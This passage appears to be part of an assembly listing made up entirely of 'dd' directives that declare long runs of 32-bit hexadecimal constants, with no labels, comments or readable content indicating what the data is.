9F8D07h, 714953C4h, 24464CACh dd 45015B00h, 30DF2A65h, 832B0E66h, 0BD2B6705h, 0D2957F01h dd 1BF020F1h, 3B002873h, 43197FDDh, 21C0B8h, 6A53AD4h dd 15054D30h, 0F7607E12h, 3F488B07h, 0C4CE2FB0h, 0E83C00A8h dd 699C269Ah, 0DC0EAECBh, 0C0452D89h, 416D7A0Ah, 0A11E0059h dd 4DB5BE57h, 0E7ECF2CDh, 834F7900h, 6E94A78Eh, 82220058h dd 0D116C845h, 237A1993h, 0BFDAF800h, 9D508DA1h, 131E1DE3h dd 1606C0DBh, 0E7760D6h, 0B2152703h, 0A0F7D129h, 7B8375h dd 0BF7FD723h, 2F34E95Fh, 8E7A1224h, 0A540C81Eh, 0CBDB8477h dd 2B890331h, 0DC26C576h, 0B0070DE0h, 82F58812h, 42E41C40h dd 1F878B2h, 95472F74h, 0E4C90F73h, 0D6006248h, 4E20AAC8h dd 7D4559h, 43E27FDCh, 3BEC41A9h, 0EE971400h, 337263F9h dd 0F6A30044h, 0D18E2C74h, 71E03A0Ch, 2E83810Eh, 0C9D4801Fh dd 0B4A99Eh, 0B810F51Ah, 6F5552C4h, 0D55C20F1h, 959D6300h dd 1E016603h, 7BD8A080h, 18980761h, 871FDFB3h, 53B8D060h dd 9003341h, 61CFF016h, 1F7836E0h, 5C7AE839h, 6F6C403Ah dd 242C4FA1h, 75D0AC00h, 77A42087h, 8F2F0098h, 0B8475142h dd 2600A3FEh, 0FD7AAAD4h, 3A4858B5h, 0EF0A05CBh, 943696h dd 0FF81477h, 5C602216h, 591ECF99h, 5EF2A0CAh, 0A9D1009Fh dd 0FDD51DABh, 9D1D0BBAh, 70000F87h, 0F0EA521Bh, 36E4F9ADh dd 0F90400FCh, 0C3EE6D58h, 65001790h, 0B109B4E1h, 90308316h dd 4C3B7B84h, 7000BF49h, 0AEE1D0EAh, 0A5298547h, 310BE4A2h dd 60028F98h, 2DE3369h, 0ADAC1F7Ch, 62A2CA73h, 0E0CD90ACh dd 398BAAh, 0CA9B3D4h, 24C3744Ch, 8330C218h, 183FAC20h dd 11847205h, 8E314C87h, 0FB52895h, 2177F980h, 48E85A1Fh dd 39A013Bh, 4CB3F042h, 0D33DF84Eh, 43981C83h, 139DC25h dd 35EE114Ah, 4FAC4037h, 21F179Fh, 42405DE9h, 535C09D8h dd 0F1146F1Ch, 0C1B82DE3h, 67B00CB3h, 30917B7Eh, 20015712h dd 0DA7DB342h, 0CAC26D30h, 0BC2F28h, 89515CCCh, 0F000038Bh dd 5882BBE9h, 1CAF7A3Ch, 78BAE123h, 9F9CA80Eh, 35B6D420h dd 5F00DE66h, 815049A9h, 28297E74h, 803096h, 4A0551F2h dd 9F5612C1h, 0B6FE5A00h, 6681158Eh, 0DEC430B2h, 0A44BC381h dd 625CD214h, 0D36A80BCh, 987D6Dh, 7E27AF3Eh, 6BD55C68h dd 4AFB560Ah, 330A8838h, 84E07CCFh, 26C3787Ch, 80944430h dd 5C6449E3h, 3C09FF65h, 7575EF8h, 0E0C08D84h, 0AB7BEE31h dd 2533A8D0h, 60991654h, 11404F5h, 0C01CC47Ch, 48F1EC7Ah dd 0AE8128DDh, 2C6A670Eh, 9776C8h, 0E330356Fh, 0A9BA578Bh dd 0C0DEFE24h, 0BC4A3B00h, 0A1F7FA9Ah, 80F44C28h, 0A1696072h dd 0EEE08C42h, 8E91FC01h, 33EC7BCBh, 0F260F3F5h, 35790011h dd 0ADF5173Fh, 81754A0Ch, 8E00FEFAh, 721571FAh, 1AB744Bh dd 0A6DF48CDh, 0CC7718E5h, 21245B50h, 121CD1DCh, 3EAD0304h dd 0E81DA080h, 0EE4D1C15h, 70BCC00Dh, 0BA6F8A2Bh, 0D2F94862h dd 6C00167Fh, 82D0B113h, 7661BCh, 1D1459E1h, 0BA8DA471h dd 38888C67h, 88B5C260h, 465A0784h, 701C9185h, 0A2F04024h dd 0A883BB26h, 0DE6CB080h, 4CED4Dh, 5017512Fh, 676D2126h dd 1E103C49h, 3F4EC942h, 7B24417Eh, 9C555C06h, 23611400h dd 4389ED8h, 0D3EE3F46h, 48408082h, 9C07F8ABh, 67041C32h dd 1EDE1753h, 40236F60h, 756DDFCEh, 0C4767C80h, 0BD58B800h dd 0F91455EEh, 35B00085h, 0C6C5E828h, 4C0BD275h, 1C754DEh dd 3FE98BA8h, 256848DBh, 0EC992403h, 0F1D00821h, 0AE05782Ah dd 0C54D2DF4h, 0E0C3083h, 6BDEA339h, 4F14FE40h, 0A4012293h dd 96422378h, 0E8F89A69h, 181A0097h, 0BAEFF953h, 0F660CABEh dd 0C1625668h, 31B072h, 979FAF54h, 237DDFA5h, 0FAF3D900h dd 0C712561h, 0F6EC45h, 8C9CCAC1h, 0C5D63A28h, 0AF58BC00h dd 0E39242D5h, 0FB9A051Fh, 8006D294h, 0A167EB59h, 75223Dh dd 6D9B0B93h, 78D151F6h, 317C7Ch, 0CAA3AF02h, 3BF3322Fh dd 97633D00h, 4472D7F1h, 613F0295h, 0D44186F7h, 202DB4E9h dd 742AEF50h, 0BC02D803h, 81C9F4D7h, 40284A63h, 0E4875Ch dd 678F395Fh, 54A9BF47h, 0E240448h, 0C0DBD33Eh, 656806EAh dd 0F289FE42h, 7A2E00FBh, 3A7863BBh, 0D27E1E11h, 8F07A700h dd 2648E57Fh, 6D851EEFh, 0FD6CC0F9h, 13844A11h, 580B9900h dd 930ACAAAh, 5A3400ACh, 6761E048h, 0B6002A6Ch, 0C0D285CBh dd 31B8DA8h, 149B5FA4h, 94A30D9Ah, 0B822EBC8h, 6EF83A16h dd 0DB091843h, 297DB92Eh, 7D2C2F8h, 63BF1D73h, 5DEC1062h dd 309A860Ch, 0C915BB00h, 8E97F0CEh, 0E0030C88h, 0F44821B0h dd 9CB2A97Fh, 26279103h, 3F1EBB8h, 5378336Eh, 6FA87388h dd 0C02CBCEh, 7FDB2D85h, 4EE84914h, 90E9E7D8h, 87240AACh dd 80BC6075h, 522F6DCFh, 9269962h, 3C01181Ch, 265C27F1h dd 3D5864h, 3A61F0D6h, 50189F16h, 11F260B7h, 10BD4CF5h dd 160E61DDh, 0C8A980F9h, 5EEFB32h, 0CC0594FFh, 79C8A97h dd 38D28F3Eh, 6CC080C9h, 15212C23h, 8C371299h, 7D682A02h dd 78C04B94h, 988038C6h, 39550C15h, 0E9295DB3h, 656C4007h dd 0BDCE0817h, 0C36080FCh, 6EDE2732h, 2FEFEh, 85DC96F6h dd 2254E55Eh, 0D3F9A6A0h, 204CABE0h, 76EF0904h, 315F8080h dd 5551ED1h, 0D27ABD21h, 0C014844Eh, 7214DCBCh, 28733A2Eh dd 4AAFF5D0h, 720C209Bh, 0E1502CFCh, 9C9BF8F0h, 8022BAA6h dd 54C3C0FBh, 201090A8h, 8C36E326h, 24827790h, 0E0A02C18h dd 0DDD7232Bh, 8B967A3Fh, 1ED08CDCh, 0D47301F8h, 2A28CBD2h dd 0EAE88016h, 0D66D5995h, 628330A6h, 320D1C91h, 0D9977003h dd 88C14DE0h, 0C066EAD2h, 853E20F8h, 81C04FAFh, 3B893FE5h dd 0A0FE0044h, 0C368E33h, 9900EF3Dh, 69CD9211h, 0F0A5C3h dd 73FD9ACCh, 0E218972Ch, 0C7EB6800h, 0C4337260h, 0E815008Dh dd 0B006599Ch, 2C00AAADh, 0FF86F6DDh, 0F5C6904Ah, 0FA2D9430h dd 90855135h, 0B4F0F4F5h, 0F3D1187Eh, 0FC3EC1BBh, 762C5C92h dd 2A8014FAh, 11F3E710h, 20450038h, 1A8A3125h, 5861DE3Ch dd 0FAE554C8h, 772B0C20h, 0BFDC2620h, 0E1C34724h, 0CC3221B6h dd 0BD007B9Ch, 89F226D5h, 0D8B91Eh, 788B806Ah, 0C64CF741h dd 81D6A400h, 0D9621DFAh, 36550088h, 0ED547296h, 50232A0h dd 0FBBE727h, 0D314688Eh, 4DAD0015h, 0A962BDFAh, 89004519h dd 0B3DEA1B1h, 3F6627EEh, 0C5BB02BCh, 0EB0050C8h, 5BB168A7h dd 48007E18h, 0C2B63082h, 48649F2Ah, 0BE0130D6h, 0CC5D3B9Dh dd 0FD5820DFh, 8B3E5F15h, 0F06D0E94h, 0C073666h, 20496C97h dd 0A5FEECA4h, 0E8D40003h, 3A7BEB67h, 0A7170D80h, 0FC0F22BFh dd 6A7520ADh, 0F060D646h, 0D2300037h, 5FFB7CDAh, 3F00AAD1h dd 2891B5BFh, 0C80BFEh, 89AC852Dh, 0D104A3BBh, 87DCEA01h dd 0F3A55CF7h, 0ECDFA440h, 4DD9805Fh, 62A7951Fh, 94809113h dd 301593BEh, 9B29651Eh, 0D5001BB0h, 578CBDDEh, 0E266ACEh dd 405ECB81h, 0FB4D9E40h, 88F0527Ah, 0E0F14509h, 99C4400Bh dd 14731EDCh, 0C5FF41D8h dd 0D4359059h, 9B00682Dh, 11808515h, 17124Eh, 0BF076271h dd 353791D3h, 0FC53D80Fh, 4965E0C7h, 0E67A0315h, 78BF0030h dd 0D8A58A83h, 1B0007FFh, 0EC60DD98h, 0BE1D70h, 24B8BBBAh dd 3F9E91F2h, 80343A3Ch, 3889F7D3h, 0D9FE51h, 25267B0Eh dd 34EFC36h, 0AD6EE400h, 76513727h, 87195F9Fh, 0D0409717h dd 0F4471C8Dh, 6C4E6826h, 7AA06600h, 0BE2B30h, 10127CFBh dd 0CFE6C8A5h, 4268EC13h, 7A018300h, 22F7F5Ah, 369364A3h dd 766005E1h, 7D00895Dh, 7771826Ah, 210EB4h, 0AF8EDEEh dd 5FEB0716h, 4CD30509h, 7E448E35h, 0A3D5BAC0h, 36566Ch dd 81CFC30Fh, 1049D177h, 1830D900h, 4D5E1915h, 2D5907Ah dd 786EE8F5h, 847871B7h, 0BD34D600h, 0ABB87E80h, 60D903F0h dd 63AAD0BFh, 78FB2788h, 3C8C49h, 4B6A0F2Dh, 1D99A7h, 0EF5477C3h dd 0CD5EF867h, 12723701h, 0B2463CC4h, 3BA756DCh, 7D8085DFh dd 0C6B5E417h, 2048876Dh, 5CBB1EB8h, 6585027Bh, 60DE6869h dd 7E467040h, 0C530106h, 0F429DF2Fh, 0DADBE41Eh, 57007378h dd 0A621BCE9h, 9474A63h, 7DB21B5Eh, 0BD002862h, 0B0E6E39Dh dd 7A1D1709h, 0F44A01Ch, 0F9DBD2h, 38DB89Bh, 6C1A9E18h dd 0A02E8703h, 2F4A4h, 49C07028h, 43E2733Ch, 9C00E4B0h dd 0CE689212h, 0A23EE7BAh, 3647384h, 527C4070h, 96FD62A8h dd 349BEC07h, 0B9D4B0h, 0BDE28658h, 7826010Dh, 3E7DB98Ah dd 0C047EC4Ch, 4368CF00h, 676A8FACh, 7E7C7C79h, 0F551038Ch dd 6B6C1877h, 3B165E0h, 0F4066101h, 0CA8745CCh, 309E70h dd 22791E16h, 0E8849D5Fh, 0DC406626h, 327C4300h, 50078BD6h dd 0F6DB45Dh, 0A4DCE91Eh, 0CB88FEA0h, 0E0F11CFh, 0E01A4AD3h dd 4167711Ch, 1B99072Bh, 0A0729338h, 53B801EEh, 1AE373Dh dd 0F3B6C65Eh, 52FCA994h, 0B6D98CCh, 1FD70C3Dh, 5F403C0Eh dd 0FF21F325h, 409FCF00h, 0F9D40FDAh, 16866939h, 10D54087h dd 0D64978Eh, 31353D00h, 45032FF7h, 168801E4h, 0CB7B99A2h dd 6070F882h, 0A8F4D800h, 0A776CD32h, 4E271D98h, 7CE45DF6h dd 64EABC80h, 0F444C284h, 3F63A300h, 0FFA8422Eh, 6C2100D9h dd 8129D3C9h, 8A00ED44h, 14CABC27h, 0A0A2E13Dh, 0B680C4C8h dd 1308033Ch, 39C0F08Ah, 0F201BEF3h, 932C7CC6h, 0FD7091FAh dd 30080332h, 0FE3378C1h, 6BA610B0h, 0D623D300h, 0DC69FD56h dd 11800A8h, 0D2575D76h, 0C730B5FAh, 7B9A60FBh, 0CCECF2h dd 1133F20h, 911F3E50h, 0F20C56Fh, 0EA0C9E28h, 0F0F81129h dd 0FC80085h, 5FAF8F2Eh, 0FDFE76E4h, 581A1E00h, 0BCB5FC5Ch dd 11CA00C1h, 0CEE9D275h, 1F06D056h, 1EB96920h, 0A0F40E78h dd 34958799h, 6D5BAA00h, 7D67B005h, 1091A728h, 3F291F1Dh dd 149401C7h, 7BA4A00Bh, 9EFBDAh, 0FF6167D1h, 542A23Dh dd 33EF0802h, 637C55E9h, 1CBBB0AFh, 0D37D003Eh, 18B91AF1h dd 6E5DFFB8h, 0EC3C09A0h, 0C4F80178h, 0A18F118Ch, 472009A1h dd 4FA04CB2h, 2CC2F500h, 0E448726Dh, 8F10BCD2h, 0BE601562h dd 0F12CC629h, 0E9791618h, 1C9A5B9h, 6E433A94h, 8FEADD18h dd 0A08FB519h, 0CF0DD0FDh, 0F8120396h, 6BF1D4A5h, 7DB7888h dd 8E0424A4h, 73BF15BBh, 0C231A8A1h, 0A8160E3h, 18E8D3ECh dd 4CA0DAF8h, 20A1C216h, 6E5B605Ch, 2AFB293Eh, 48C4A080h dd 44020D5h, 0D2D388C3h, 0A9DAE603h, 0D87F328Bh, 1C784D0Eh dd 0C0509142h, 9BA3E8D0h, 37203B09h, 0DB43009Ah, 0BC1236Bh dd 33009150h, 0EAB9101Fh, 0F084959Ch, 6C5D5DE2h, 0C318F307h dd 30FF429Bh, 752B4483h, 848C6AA2h, 7D00D4C1h, 6FD251BBh dd 66DD8620h, 2125085Fh, 0BB3865E2h, 0BA691C57h, 45F8DA46h dd 0E0440351h, 2B8F91E9h, 0E1514C90h, 8B050600h, 60BC13CCh dd 942F0FA6h, 19231F87h, 0A018E977h, 3891EBA4h, 0D5AC000Ah dd 9CD4EEB6h, 0D002AA8Dh, 974B7EDFh, 7C47C0CEh, 0D5C8015Eh dd 0B624B517h, 0F5988A6Fh, 780A814h, 0A29C7FD2h, 0BC3E00F8h dd 5C69E1F3h, 8E03C2E5h, 1204A026h, 0DBC0C720h, 5E68CDh dd 0B52DC4CFh, 7CC98DD9h, 41919200h, 90DCC765h, 44FF3BB1h dd 1F695E83h, 1AA07CF3h, 0E907A72Dh, 0A1EDA093h, 7AA92210h dd 0FCEA00DAh, 0C703E8AAh, 431FAEE9h, 8D006C96h, 2472D299h dd 71C81959h, 0C4E8C0D3h, 0F5228523h, 16960718h, 577F8E06h dd 88BD0013h, 0B90171EBh, 7BF6DB38h, 9850E4DDh, 1F15493h dd 0EEE8AEC3h, 0C0EA1A49h, 3515086Eh, 3CCC47F8h, 0F3F680D9h dd 0BB168107h, 1C620337h, 9217B99Fh, 87383D80h, 0D009A74h dd 0E8CE890Bh, 1F0C9047h, 95DAF2h, 5CA0FFEDh, 0A4A0412Fh dd 2C078281h, 97EB10FAh, 0C03EB2C3h, 0A47695h, 47B99096h dd 892621A9h, 4D239A0Fh, 0E46FE0FCh, 3E0CCD98h, 5C01869Eh dd 0C79206CFh, 18EBE481h, 6C89ED00h, 0FB754CA1h, 10F005Dh dd 41D84DBAh, 33337299h, 0A01E18CBh, 7C7FD95Fh, 0F36D03A8h dd 4DC4E0CAh, 84A28BC0h, 2028EE6Eh, 9F6AD5FCh, 0D29A0C9Bh dd 2218EDA4h, 0A0D9646Dh, 3D0040Ch, 8EE9A38Fh, 0D87F8767h dd 97C91E00h, 1805AD90h, 82B40EA1h, 0C70F5DF2h, 9B1FDD20h dd 8CA0C489h, 0C8E02B7Ch, 188A9707h, 9F008F27h, 0F5C590h dd 3C084725h, 0A1AF5ACCh, 8D4AD60Ah, 180628A2h, 5019A353h dd 0E9A8C094h, 0C9973E01h, 0F5A982E4h, 983CC9ABh, 36A9760h dd 0ADD2347Ah, 9C931FA1h, 5B1E5904h, 90108914h, 3E83C400h dd 0C0769017h, 0CB6ABA0Ch, 145A79A8h, 7C9CED28h, 0C3849F8Ah dd 793E9ECCh, 6097480Dh, 0F41FDEF1h, 2C84A884h, 140891C9h dd 0A10A865Fh, 1148831Eh, 188FA053h, 6449C198h, 865DFA8Eh dd 0D6F8E439h, 0E0917CD6h, 7BA51817h, 12908196h, 0F018EA4Bh dd 9C0F31h, 0B5695C1Eh, 0F62A27F8h, 63A459C5h, 1B11C00h dd 1856997Eh, 99C73369h, 8118548Dh, 15114B3Ah, 9C7200E3h dd 3DF999Bh, 84A80B11h, 2CE0829Fh, 68C44054h, 0B230AD7Dh dd 27E3105Ch, 0C4CA1080h, 883A0E5Bh, 2862078Bh, 0A3919CC0h dd 34CA5182h, 2E31DC02h, 6B8E1900h, 27764769h, 48D91D6Ch dd 9ED809EAh, 42004CAh, 0EB628455h, 980C9931h, 9180244Dh dd 0F3B7A7D6h, 10C2ADEFh, 0A083D090h, 23092484h, 0C9C609Fh dd 98F047CCh, 441AB4Ch, 0C2CD9ED6h, 0BE15CC92h, 5C4C4040h dd 0BE88AD42h, 9509063Ch, 9189F2Ah, 96A1017Dh, 47187F0Dh dd 5A110364h, 56FB20C6h, 4D541054h, 41C3AABCh, 30C997C2h dd 0D41CC38h, 24021549h, 0A284C09Fh, 70A4AA90h, 93C17C09h dd 0C44D510h, 25226508h, 7C0FE818h, 0F1BF2444h, 2FED45BCh dd 0A805EA04h, 81FECDD0h, 0E00F86BCh, 0CB04CD9h, 87828018h dd 92C54D29h, 3A7008Ch, 639D4784h, 0DE0016CCh, 9844E642h dd 1DBD2D37h, 0D2CDD833h, 0D57C0EF8h, 0B5063F80h, 48E00784h dd 73C50B00h, 6764BEC0h, 5F798Eh, 83EAE101h, 0F30E3465h dd 3F94AB20h, 7B804BF9h, 64F5DD8Ch, 0D807F1DAh, 0C92F245h dd 0F29BE86h, 21F6D0E9h, 44B2DE0h, 9D2C7C90h, 6F0F1061h dd 274DC69Eh, 235D00F1h, 5ADD4864h, 963E91EAh, 544DF433h dd 5B560EB8h, 0E3A5CF65h, 7F10BF4Bh, 58332E19h, 262B00CEh dd 63E1DA3Eh, 0F903EC90h, 8A5D8C15h, 319107B9h, 40B7B8B2h dd 3008CAC8h, 763C5400h, 46B45B15h, 0BC51791h, 0ED8C451Eh dd 0EC608195h, 0E4476057h, 44E40658h, 81C158BCh, 0F775D35Ah dd 0E70DE03Ah dd 1770BC00h, 817CA86Bh, 0F85301B9h, 1FE278F9h, 0E0A475BFh dd 5D151733h, 1FE4969Eh, 104050FAh, 4CD36818h, 0F809C927h dd 8DAC4A0h, 0EA07D5C2h, 0ACC7793h, 3575BC71h, 41507A80h dd 16F642DFh, 81044C0Dh, 0D500A90Ah, 1FCCEF3Ah, 806FB832h dd 0E8B5AEF6h, 9F304005h, 1C7F81ADh, 765F00DBh, 0C3C2D6F7h dd 0E6289CF5h, 750074B8h, 0C47F60F3h, 27441Dh, 28CABBF2h dd 8CEECC58h, 0D9ABAF07h, 0BC231E37h, 0E38A81C7h, 130F30E0h dd 548B0AF7h, 9C1160E8h, 65607E95h, 9EF83520h, 0ABBF2456h dd 8A778068h, 0DF3BDAFCh, 0B8CF1701h, 0C9867C54h, 0DD8EE8h dd 910637BAh, 0D2D30AB9h, 0A9136B15h, 191200F4h, 902EF555h dd 0FBEE09ACh, 0EC807ED8h, 7AC79834h, 5C1244B8h, 143384E7h dd 804AB993h, 2E4D5440h, 0CC940156h, 1E23F18Dh, 63088C8Ah dd 0AD2086h, 2F5556F9h, 0F66FD83h, 5C0EBCE4h, 6E15E9B2h dd 262003E4h, 0ACD103EDh, 98A10AE6h, 950D6102h, 0E00450C2h dd 907A1DB4h, 0F59D0E8Ch, 0BC00C067h, 6CBD8E57h, 92D9B760h dd 177492Dh, 0DAA46EF6h, 0ECC0099Ah, 2F005426h, 2820D074h dd 3C9861h, 5EE93D15h, 0FC48A9AAh, 0C84F556h, 0C976A409h dd 0A0832A80h, 0CA20AC8h, 8CD003F3h, 0CA19989Eh, 8F661200h dd 1743A5F8h, 518F40Eh, 81C11B50h, 2108C89Eh, 76E2B300h dd 0FD11AB8Eh, 0FF930588h, 5B576Bh, 0DAF3638Ch, 0F71831B0h dd 0A0D9BA6Ch, 2512006Fh, 7951993Eh, 0B900C6DFh, 0ABD9F536h dd 0F423AE60h, 5506039Ah, 18B11347h, 159C44F5h, 1E0C0366h dd 9E5118B6h, 0AE9D910Eh, 51B8700h, 8AEC5FDAh, 685001B4h dd 0A7A85D2Ch, 84F32096h, 1CFC4556h, 0CCDE562Fh, 5EB0F0D0h dd 3B0056F7h, 10D0175Ch, 53095D32h, 3E21A889h, 0A3059E00h dd 48421952h, 0E200740Eh, 9A7AC520h, 0C04C8C32h, 2C0112A4h dd 49D1420h, 95DD008Fh, 0F51BEA43h, 324C56A2h, 8CFDBC18h dd 0E8E4B400h, 0E37AE9C8h, 3A4090EAh, 0A801B973h, 0C0E7EF90h dd 85F02C5Bh, 8045E9h, 2492E8AFh, 490E637h, 0C1FBECB4h dd 80BCA80h, 81FA8809h, 10C54412h, 0E4E24600h, 3CAA1D5h dd 3576EEBCh, 71A764BDh, 329E0B56h, 528A004Ch, 5FCCEE0Ch dd 39D3A60h, 16B40E80h, 2C3F43BBh, 0D0826528h, 0AC4E3E2Ah dd 75730900h, 5C8B95BAh, 13421D15h, 0E356C3FCh, 43B97AA8h dd 142828A7h, 80A8282Ch, 0F0C016F5h, 265CB232h, 95F08418h dd 8C41C0E9h, 3EF15075h, 7A10C047h, 1990BDEAh, 0B9099EBBh dd 0A65AFCBAh, 97B91200h, 0CDF9198Fh, 0E81602F0h, 4035AFEAh dd 0ECD55880h, 110022A5h, 0CD043EF2h, 33DF43D8h, 0A6EE887Ah dd 8FED7103h, 0B0AEEE20h, 2EDC5DF2h, 6404998Dh, 30F773C5h dd 6FFE5B39h, 8B12909Dh, 840072BEh, 9307CCBFh, 6B4968Ch dd 5880E9FFh, 96695B04h, 9806E4C5h, 1E22380Fh, 835D097Ah dd 0F860AA03h, 0F450EE98h, 0D7169924h, 8400A574h, 38551C23h dd 1882540Eh, 0ED3A008Ah, 0CF6B1DE6h, 0C0C01691h, 6AB1826h dd 75D98D9h, 6861DD8Bh, 5CE95060h, 100523BDh, 0C2E36F07h dd 4A8D4CC0h, 7134019Bh, 4B3EDFF6h, 8BBEFC5Bh, 0B8E5A77Fh dd 1891BC80h, 0EAB96616h, 0DC230649h, 79998AB5h, 75F09A01h dd 825CEC69h, 0C39CEC48h, 0AC47B310h, 0C1F8C2C4h, 1156F330h dd 88E5CCB9h, 0FA328171h, 396CAB56h, 0EE2900D0h, 7304646Ah dd 9C9D11B1h, 8E0F1609h, 10827832h, 7781613h, 0AC8ED228h dd 810EECA0h, 0C24D1386h, 0ECAE1511h, 0D521868Ch, 0BAC20500h dd 621EC76h, 0B61302B7h, 5126843Eh, 9446ACE4h, 3E655903h dd 32CC0AE0h, 3268207Ah, 0E5246C64h, 1017108Bh, 1EF8F01h dd 682088F5h, 0EBC78873h, 9CA7A23Ch, 8496254Ch, 0EA167400h dd 883C1AB9h, 0B09804F6h, 90606531h, 0B82192CDh, 80FA9891h dd 0E0346437h, 49448C3Ah, 64080662h, 814C8584h, 5681AF00h dd 0EED0F98Dh, 1DBE5CE2h, 2688FC1Ch, 69540050h, 0A7AE812Ch dd 9A03A8A4h, 5B92F5Ch, 95FFE8C6h, 0A8A4FE93h, 393EA9E0h dd 218130CAh, 0D10773C8h, 8BB3D1C4h, 87C7EB21h, 0BF40B512h dd 981BE2h, 132CEFF8h, 9ACE69CDh, 0A938D212h, 0E8284C14h dd 57038C76h, 30B38B40h, 5CA00903h, 0C8A01ACFh, 86EF559Ch dd 24DAE60Eh, 88352011h, 6999C8h, 0D2A5B1F9h, 0BE789C50h dd 3C539A3Fh, 77EF8342h, 0EAA28B70h, 85FD80F7h, 3EEE37B8h dd 75BC8793h, 40E5B01Dh, 5730FA69h, 0FBB80EC3h, 4F91770Eh dd 0B74CE0C1h, 0EEF8D328h, 0C9090966h, 640F2C38h, 0D2139280h dd 42027DF7h, 0AF66B75h, 0ACBE807Ch, 2EA81B86h, 80FB5445h dd 48A6CF3Fh, 2D00D0EAh, 6BF49753h, 38987CB0h, 809D651Ah dd 21E91819h, 6B002B26h, 0A59A5DAFh, 7173123h, 2C3D85EEh dd 28387008h, 0E75CB50h, 0A6462900h, 56269BAh, 0C511001Ah dd 508FCFF0h, 2B1ED8C7h, 0CD00F753h, 514DAA58h, 11833FA5h dd 5CE609E7h, 0B903ED20h, 41FD4AAh, 1956E9C2h, 402D4886h dd 530008FAh, 6314A384h, 5C7179h, 0F7B2311h, 0C26F9FDh dd 7E912A2Eh, 19612B00h, 0CFE2671Dh, 2E21F7D1h, 807FCFBCh dd 7B8EF11h, 7B2F829h, 0BA4DFC84h, 212646ADh, 46C7C00h dd 5FAE6294h, 4C140EA5h, 0C3C08122h, 2353242Eh, 136E0F03h dd 390EC2Ch, 0BFF0C118h, 0D0004726h, 4238732Dh, 193CFE15h dd 9C8F960h, 93D98091h, 435E3FC0h, 0D7550207h, 0C6D82E58h dd 761598A0h, 2500AA78h, 88C10D90h, 2869CE50h, 0EB4608Ch dd 0D0431142h, 0E6553040h, 440053FDh, 0ED5F769Eh, 39CD4D9h dd 9AB828C8h, 8AB802D3h, 0E70005E9h, 70186C06h, 72B732D1h dd 0FC52FEB9h, 57F8F1h, 0B8FD2D65h, 903EA13Ch, 0F4505800h dd 4576B0CDh, 0EBFF2C8h, 39FF7B59h, 1DF23600h, 4900EC47h dd 5E4F2D87h, 0E4EE32h, 2081DD40h, 83889063h, 7A0E4870h dd 40057678h, 8C1D4FA1h, 773E0E2Dh, 0D3E08726h, 0C4D93A1Fh dd 75035A13h, 39846B03h, 1EA7B8EEh, 0D041005Dh, 0C761D4Eh dd 18C7D1F1h, 7DD09730h, 1C35D7EBh, 3789443h, 210D938h dd 8C184800h, 19401E4Dh, 1C60E07Eh, 70C43C15h, 7F800859h dd 8C1CE477h, 258B9EFh, 7814018h, 8D6138F3h, 301CE63Dh dd 0BE7FD001h, 7205563Bh, 7366C980h, 5A0C4A19h, 1A0613B8h dd 0D970EF15h, 12B70050h, 0F864D106h, 0D3173795h, 4B0CE00Ah dd 0E1CCF05Eh, 0A9D88200h, 7866871Fh, 59410106h, 0E5C01019h dd 4E280586h, 0E6F0A0ADh, 8080EBDFh, 121E477Dh, 0D618B0D8h dd 73987CA5h, 8A4B01FEh, 0EDC51C98h, 2BD2CC6Dh, 0AEDFC600h dd 0D9197E3h, 6F6200D5h, 1CEB942Eh, 260015A4h, 6CDF659Ch dd 380F9FE3h, 0A1839D7Ch, 81211FDDh, 7D731114h, 0A00EBF04h dd 473F9E70h, 0E0E8ADCFh, 7439027Ch, 4C3CD000h, 93EADFD9h dd 0FE0A2670h, 57DE04D9h, 0DD53C01Dh, 8E3D661Bh, 81C9396Ah dd 14F4D3C2h, 6ECD7335h, 0EE639E8h, 0C3FFCA41h, 9FFC8100h dd 3F02BAAEh, 8A245821h, 0ED6DC02Eh, 3A0C0061h, 38055F5h dd 0D73ECAE2h, 52A1806Eh, 37BDFFF1h, 2CC90CBh, 31BB20F3h dd 0BC58A4BAh, 32B68800h, 0ACC6C96Bh, 698F30ECh, 806D3418h dd 68BE9B00h, 3C66231Fh, 3FD94CC7h, 0F37BD00Fh, 0DCFA0F3Dh dd 0A0991DC0h, 5600D43Dh, 54DA10D8h, 0E8DE0B3h, 0EA15E820h dd 0E4FD0418h, 0E918B260h, 441FC4h, 674BDC06h, 0D7E14261h dd 0DEC8D800h, 53541741h dd 0E28E005Ch, 42C2ADECh, 2B241FAEh, 0EA0EDF59h, 4BE878D2h dd 4D6B009Ah, 3597996Ch, 0F91CD83Fh, 7681C20Eh, 0F0F3559Bh dd 4DD885D6h, 69E7A420h, 240CFE1h, 52546F80h, 9800E285h dd 0AA6B2F77h, 8036B330h, 72403439h, 33650C66h, 0B1689E20h dd 1C0306F4h, 41FAC026h, 6FBA91AAh, 4ABE1E87h, 7354D37Bh dd 832822A8h, 21BB9900h, 9D823443h, 381300A8h, 640490D5h dd 6B00697Fh, 0BCF47353h, 0FB6D37h, 0D7E8C859h, 0FD02A85Dh dd 2CCCA400h, 1E64D670h, 4D2600DAh, 4B75685Bh, 0BA00F589h dd 33EE7CC1h, 31D7A1Ah, 0B5F78E1Fh, 0B0074293h, 2A48CA32h dd 9CD0604Fh, 9824C0B0h, 367D48h, 0F9EAEC71h, 0CC4E11CDh dd 0D29E2100h, 29251F8Eh, 65DD0038h, 0E4704AF1h, 0AC92B26Eh dd 5C4BDA00h, 0FC35F5B3h, 1683048Dh, 873138F1h, 2C5748h dd 0D56E5D1Bh, 295A1100h, 0CAFD972Dh, 51480046h, 0DADD9675h dd 30073F4h, 1C352949h, 0E4E1091Fh, 48920F4Fh, 0CA208DE3h dd 8A91F8F2h, 32513Bh, 80E5DAA3h, 7E2E8814h, 9B081DBDh dd 360B8004h, 34F08B4Ah, 52026C92h, 85CC0591h, 9307776Ch dd 0F7C79E78h, 0CA5FB145h, 0FEABC8E5h, 0E126A506h, 10E873E6h dd 1E7D1839h, 0B000F49Ch, 6E6D79ECh, 0F8E0C033h, 0CB0A5CB6h dd 3F752007h, 0A1C0FC2Bh, 0EBF39Ch, 40ADE647h, 0D5617BF6h dd 45123173h, 3C00DAB7h, 0B26F0552h, 0F4422810h, 4E130CD0h dd 0D88C3C19h, 0FF8F291Fh, 678CED80h, 0F8AEFDC0h, 0A29844h dd 841925ACh, 0E7FAF845h, 910572FAh, 0D8979514h, 27F1C402h dd 0A84440B3h, 0B1360325h, 0BDE05D22h, 515C68C0h, 0C1B0CB05h dd 0B00045E4h, 46BB5EBCh, 89E20414h, 0C064D778h, 25A4736Ch dd 13029403h, 0F0E3E759h, 0BF2CCAh, 3FFCA8E6h, 5E80D6EFh dd 3A11820Eh, 0D38780E4h, 797DEEEBh, 93B1E57h, 0F96A0030h dd 